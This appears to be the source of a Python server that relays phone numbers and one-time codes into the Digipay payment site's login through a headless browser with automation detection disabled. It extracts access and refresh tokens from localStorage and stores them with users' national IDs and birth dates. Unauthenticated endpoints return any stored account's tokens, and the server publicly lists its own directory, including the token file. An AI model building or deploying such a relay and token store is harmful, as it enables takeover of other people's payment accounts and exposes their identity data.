# Server.py - Final VPS Ready with Debug
import asyncio
import json
from aiohttp import web
from playwright.async_api import async_playwright
import os

browser = None
page = None
ws_client = None
token_data = None
SAVED_TOKENS_FILE = "saved_tokens.json"

def load_saved_tokens():
    if os.path.exists(SAVED_TOKENS_FILE):
        with open(SAVED_TOKENS_FILE, "r", encoding="utf-8") as f:
            content = f.read()
            if not content.strip():
                return {}
            return json.loads(content)
    return {}

def save_tokens_to_file(phone, data):
    tokens = load_saved_tokens()
    tokens[phone] = data
    with open(SAVED_TOKENS_FILE, "w", encoding="utf-8") as f:
        json.dump(tokens, f, ensure_ascii=False, indent=2)

async def send_msg(ws, msg_type, payload=None):
    try:
        if ws is None:
            print(f"[SEND ERROR] ws is None for {msg_type}")
            return
        if ws.closed:
            print(f"[SEND ERROR] ws is CLOSED for {msg_type}")
            return
        message = {"type": msg_type, **(payload or {})}
        await ws.send_json(message)
        print(f"[SEND] {msg_type}")
    except Exception as e:
        print(f"[SEND ERROR] {msg_type}: {e}")

# ========== API Endpoints ==========

async def get_accounts(request):
    tokens = load_saved_tokens()
    accounts = []
    for phone, data in tokens.items():
        profile = data.get("profile", {})
        accounts.append({
            "phone": phone,
            "access_preview": data.get("access", "")[:20] + "...",
            "has_token": True,
            "full_name": profile.get("full_name", ""),
            "has_profile": bool(profile),
        })
    return web.json_response(accounts)

async def get_token(request):
    phone = request.match_info['phone']
    tokens = load_saved_tokens()
    if phone in tokens:
        data = tokens[phone]
        storage_json = json.dumps({
            "auth": {
                "userId": data.get("userId", ""),
                "phoneNumber": phone,
                "access": data.get("access", ""),
                "refresh": data.get("refresh", ""),
            }
        })
        return web.json_response({
            "access": data.get("access"),
            "refresh": data.get("refresh"),
            "userId": data.get("userId"),
            "phoneNumber": phone,
            "storage_json": storage_json,
            "profile": data.get("profile", {}),
        })
    return web.json_response({"error": "Not found"}, status=404)

async def save_profile(request):
    if request.method == "OPTIONS":
        return web.Response(
            status=204,
            headers={
                "Access-Control-Allow-Origin": "*",
                "Access-Control-Allow-Methods": "GET, POST, OPTIONS",
                "Access-Control-Allow-Headers": "Content-Type, Authorization",
            }
        )
    
    try:
        data = await request.json()
        phone = data.get("phone")
        national_id = data.get("national_id")
        birth_date = data.get("birth_date")
        full_name = data.get("full_name")
        email = data.get("email", "")
        
        if not phone or not national_id or not birth_date or not full_name:
            return web.json_response(
                {"error": "فیلدهای الزامی پر نشده"}, 
                status=400,
                headers={"Access-Control-Allow-Origin": "*"}
            )
        
        if len(national_id) != 10:
            return web.json_response(
                {"error": "کد ملی باید ۱۰ رقم باشد"}, 
                status=400,
                headers={"Access-Control-Allow-Origin": "*"}
            )
        
        tokens = load_saved_tokens()
        
        if phone not in tokens:
            return web.json_response(
                {"error": "کاربر پیدا نشد"}, 
                status=404,
                headers={"Access-Control-Allow-Origin": "*"}
            )
        
        tokens[phone]["profile"] = {
            "full_name": full_name,
            "national_id": national_id,
            "birth_date": birth_date,
            "email": email,
        }
        
        save_tokens_to_file(phone, tokens[phone])
        print(f"[PROFILE] Saved for {phone} - {full_name}")
        
        return web.json_response(
            {"success": True, "message": "پروفایل با موفقیت ذخیره شد", "profile": tokens[phone]["profile"]},
            headers={"Access-Control-Allow-Origin": "*"}
        )
        
    except Exception as e:
        print(f"[PROFILE ERROR] {e}")
        return web.json_response(
            {"error": str(e)}, 
            status=500,
            headers={"Access-Control-Allow-Origin": "*"}
        )

async def get_profile(request):
    phone = request.match_info['phone']
    tokens = load_saved_tokens()
    if phone in tokens:
        data = tokens[phone]
        return web.json_response({
            "phone": phone,
            "profile": data.get("profile", {}),
        })
    return web.json_response({"error": "Not found"}, status=404)

# ========== Helpers ==========

async def launch_browser():
    playwright = await async_playwright().start()
    return await playwright.chromium.launch(
        headless=True,
        executable_path="/usr/bin/chromium-browser",
        args=[
            '--no-sandbox',
            '--disable-dev-shm-usage',
            '--disable-gpu',
            '--disable-blink-features=AutomationControlled',
        ]
    )

# ========== WebSocket + Playwright ==========

async def inject_token_and_login(ws, phone, saved_data):
    global browser, page
    print(f"[INJECT] Starting for {phone}")
    
    try:
        browser = await launch_browser()
        context = await browser.new_context(
            viewport={"width": 400, "height": 700},
            user_agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
        )
        page = await context.new_page()

        await send_msg(ws, "info", {"message": "در حال تزریق توکن..."})
        print("[INJECT] Opening login page...")

        await page.goto("https://app.mydigipay.com/auth/login", wait_until="domcontentloaded")
        await asyncio.sleep(2)

        try:
            await page.fill('input[inputmode="numeric"][maxlength="11"]', phone)
            await page.click('button:has-text("قبول شرایط و ادامه")')
            await asyncio.sleep(2)
            print("[INJECT] Phone filled and submitted")
        except Exception as e:
            print(f"[INJECT] Fill/click skipped: {e}")

        storage_data = {
            "auth": {
                "userId": saved_data.get("userId", ""),
                "phoneNumber": phone,
                "access": saved_data.get("access", ""),
                "refresh": saved_data.get("refresh", ""),
            }
        }
        
        await page.evaluate(f"""
            () => {{
                localStorage.setItem('__dp_storage', JSON.stringify({json.dumps(storage_data)}));
                localStorage.setItem('__dp_userId', '{saved_data.get("userId", "")}');
            }}
        """)
        print("[INJECT] Token injected to localStorage")
        
        await asyncio.sleep(1)

        await page.goto("https://app.mydigipay.com/hub", wait_until="networkidle")
        await asyncio.sleep(3)

        current_url = page.url
        print(f"[INJECT] Final URL: {current_url}")
        
        if "login" in current_url:
            print("[INJECT] FAILED - Still on login page")
            await send_msg(ws, "error", {"message": "لاگین نشد"})
        else:
            print("[INJECT] SUCCESS - Logged in!")
            await send_msg(ws, "token", {
                "access_token": saved_data.get("access"),
                "refresh_token": saved_data.get("refresh"),
                "phone": phone,
                "source": "saved",
            })

    except Exception as e:
        print(f"[INJECT ERROR] {e}")
        await send_msg(ws, "error", {"message": f"خطا: {str(e)}"})

async def websocket_handler(request):
    global ws_client, browser, page, token_data
    ws = web.WebSocketResponse()
    await ws.prepare(request)
    ws_client = ws
    print("[WS] Connected")
    await send_msg(ws, "info", {"message": "آمادهٔ دریافت شماره"})

    async for msg in ws:
        if msg.type == web.WSMsgType.TEXT:
            data = json.loads(msg.data)
            action = data.get("action")
            print(f"[WS] action={action} phone={data.get('phone', '')[:6]}... otp={data.get('otp', '')[:2]}...")

            if action == "start":
                phone = data.get("phone")
                if not phone:
                    await send_msg(ws, "error", {"message": "شماره الزامیست"})
                    continue

                tokens = load_saved_tokens()
                
                if phone in tokens:
                    print(f"[START] Token found for {phone}")
                    saved = tokens[phone]
                    await send_msg(ws, "info", {"message": "توکن ذخیره‌شده پیدا شد. در حال تزریق..."})
                    await inject_token_and_login(ws, phone, saved)
                    continue

                print(f"[START] No token - starting login flow for {phone}")
                try:
                    browser = await launch_browser()
                    context = await browser.new_context(
                        viewport={"width": 400, "height": 700},
                        user_agent="Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36"
                    )
                    page = await context.new_page()

                    print("[START] Opening login page...")
                    await page.goto(
                        "https://app.mydigipay.com/auth/login?utm_source=website&utm_medium=CTA-Dl",
                        wait_until="networkidle"
                    )
                    print(f"[START] URL: {page.url}")

                    await page.wait_for_selector('input[inputmode="numeric"][maxlength="11"]', timeout=15000)
                    await page.fill('input[inputmode="numeric"][maxlength="11"]', phone)
                    await page.click('button:has-text("قبول شرایط و ادامه")')
                    print("[START] Phone submitted, OTP sent")

                    await send_msg(ws, "info", {"message": "کد OTP ارسال شد"})
                    await ws.send_json({"type": "wait_otp"})
                    print("[SEND] wait_otp")

                except Exception as e:
                    print(f"[START ERROR] {e}")
                    await send_msg(ws, "error", {"message": str(e)})

            elif action == "submit_otp":
                otp = data.get("otp")
                phone = data.get("phone", "")
                print(f"[OTP] Submitting: {otp} for {phone}")
                
                if not page:
                    print("[OTP] No page!")
                    await send_msg(ws, "error", {"message": "مرورگر آماده نیست"})
                    continue
                try:
                    print("[OTP] Waiting for #otp-0...")
                    await page.wait_for_selector('#otp-0', timeout=30000)
                    print("[OTP] Inputs found, filling...")
                    
                    for i, digit in enumerate(otp):
                        await page.fill(f'#otp-{i}', digit)
                        await asyncio.sleep(0.1)
                    print("[OTP] Digits filled")

                    print("[OTP] Waiting for confirm button...")
                    await page.wait_for_selector('button:has-text("تایید و ادامه"):not([disabled])', timeout=5000)
                    print("[OTP] Clicking confirm...")
                    await page.click('button:has-text("تایید و ادامه"):not([disabled])')

                    await send_msg(ws, "info", {"message": "در حال ورود و دریافت توکن..."})
                    print("[OTP] Waiting 5s for login...")
                    await asyncio.sleep(5)
                    print(f"[OTP] Current URL: {page.url}")

                    dp_storage_raw = await page.evaluate("() => localStorage.getItem('__dp_storage')")
                    print(f"[OTP] Storage exists: {bool(dp_storage_raw)}")

                    if dp_storage_raw:
                        dp_storage = json.loads(dp_storage_raw)
                        auth = dp_storage.get("auth", {})
                        access_token = auth.get("access")
                        refresh_token = auth.get("refresh")
                        phone_number = auth.get("phoneNumber", phone)

                        if access_token:
                            print(f"[OTP] SUCCESS - Token extracted for {phone_number}")
                            token_data = {
                                "access_token": access_token,
                                "refresh_token": refresh_token,
                                "phone": phone_number,
                            }

                            existing = load_saved_tokens().get(phone_number, {})
                            profile = existing.get("profile", {})

                            save_tokens_to_file(phone_number, {
                                "access": access_token,
                                "refresh": refresh_token,
                                "userId": auth.get("userId"),
                                "phoneNumber": phone_number,
                                "profile": profile,
                            })

                            # ===== DEBUG =====
                            print(f"[OTP] About to send token - ws exists: {ws is not None}, ws.closed: {ws.closed if ws else 'N/A'}, ws_client exists: {ws_client is not None}")
                            
                            # Send to current ws
                            await send_msg(ws, "token", token_data)
                            
                            # Also send to ws_client if different
                            if ws_client and ws_client != ws and not ws_client.closed:
                                print("[OTP] Also sending to ws_client")
                                await send_msg(ws_client, "token", token_data)
                            
                            print(f"[OTP] Token saved")
                        else:
                            print(f"[OTP] Auth content (no access)")
                            await send_msg(ws, "error", {"message": "access_token پیدا نشد"})
                    else:
                        print("[OTP] Storage empty!")
                        await send_msg(ws, "error", {"message": "__dp_storage پیدا نشد"})

                except Exception as e:
                    print(f"[OTP ERROR] {e}")
                    await send_msg(ws, "error", {"message": str(e)})

        elif msg.type == web.WSMsgType.ERROR:
            print(f"[WS ERROR] {ws.exception()}")

    print("[WS] Disconnected")
    return ws

def main():
    print("=" * 50)
    print("PAYDIGI Server v4 - VPS Ready")
    print("=" * 50)
    app = web.Application()
    
    app.router.add_get('/ws', websocket_handler)
    app.router.add_get('/api/accounts', get_accounts)
    app.router.add_get('/api/token/{phone}', get_token)
    app.router.add_get('/api/user/profile/{phone}', get_profile)
    app.router.add_post('/api/user/complete-profile', save_profile)
    app.router.add_route('OPTIONS', '/api/user/complete-profile', save_profile)
    app.router.add_static('/', '.', show_index=True)
    
    web.run_app(app, host='0.0.0.0', port=3005)

if __name__ == '__main__':
    main()